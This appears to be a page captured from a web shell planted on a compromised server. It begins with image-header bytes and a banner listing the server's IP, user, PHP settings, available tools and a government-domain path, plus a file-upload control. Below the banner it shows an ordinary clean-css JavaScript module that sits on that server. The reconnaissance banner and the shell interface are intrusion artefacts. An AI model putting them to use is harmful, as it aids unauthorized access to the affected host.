ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.117.100.190 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/clean-css/lib/reader/ |
Upload File : |
var path = require('path'); var url = require('url'); var isRemoteResource = require('../utils/is-remote-resource'); var hasProtocol = require('../utils/has-protocol'); var HTTP_PROTOCOL = 'http:'; function isAllowedResource(uri, isRemote, rules) { var match; var absoluteUri; var allowed = isRemote ? false : true; var rule; var isNegated; var normalizedRule; var i; if (rules.length === 0) { return false; } if (isRemote && !hasProtocol(uri)) { uri = HTTP_PROTOCOL + uri; } match = isRemote ? url.parse(uri).host : uri; absoluteUri = isRemote ? uri : path.resolve(uri); for (i = 0; i < rules.length; i++) { rule = rules[i]; isNegated = rule[0] == '!'; normalizedRule = rule.substring(1); if (isNegated && isRemote && isRemoteRule(normalizedRule)) { allowed = allowed && !isAllowedResource(uri, true, [normalizedRule]); } else if (isNegated && !isRemote && !isRemoteRule(normalizedRule)) { allowed = allowed && !isAllowedResource(uri, false, [normalizedRule]); } else if (isNegated) { allowed = allowed && true; } else if (rule == 'all') { allowed = true; } else if (isRemote && rule == 'local') { allowed = allowed || false; } else if (isRemote && rule == 'remote') { allowed = true; } else if (!isRemote && rule == 'remote') { allowed = false; } else if (!isRemote && rule == 'local') { allowed = true; } else if (rule === match) { allowed = true; } else if (rule === uri) { allowed = true; } else if (isRemote && absoluteUri.indexOf(rule) === 0) { allowed = true; } else if (!isRemote && absoluteUri.indexOf(path.resolve(rule)) === 0) { allowed = true; } else if (isRemote != isRemoteRule(normalizedRule)) { allowed = allowed && true; } else { allowed = false; } } return allowed; } function isRemoteRule(rule) { return isRemoteResource(rule) || url.parse(HTTP_PROTOCOL + '//' + rule).host == rule; } module.exports = isAllowedResource;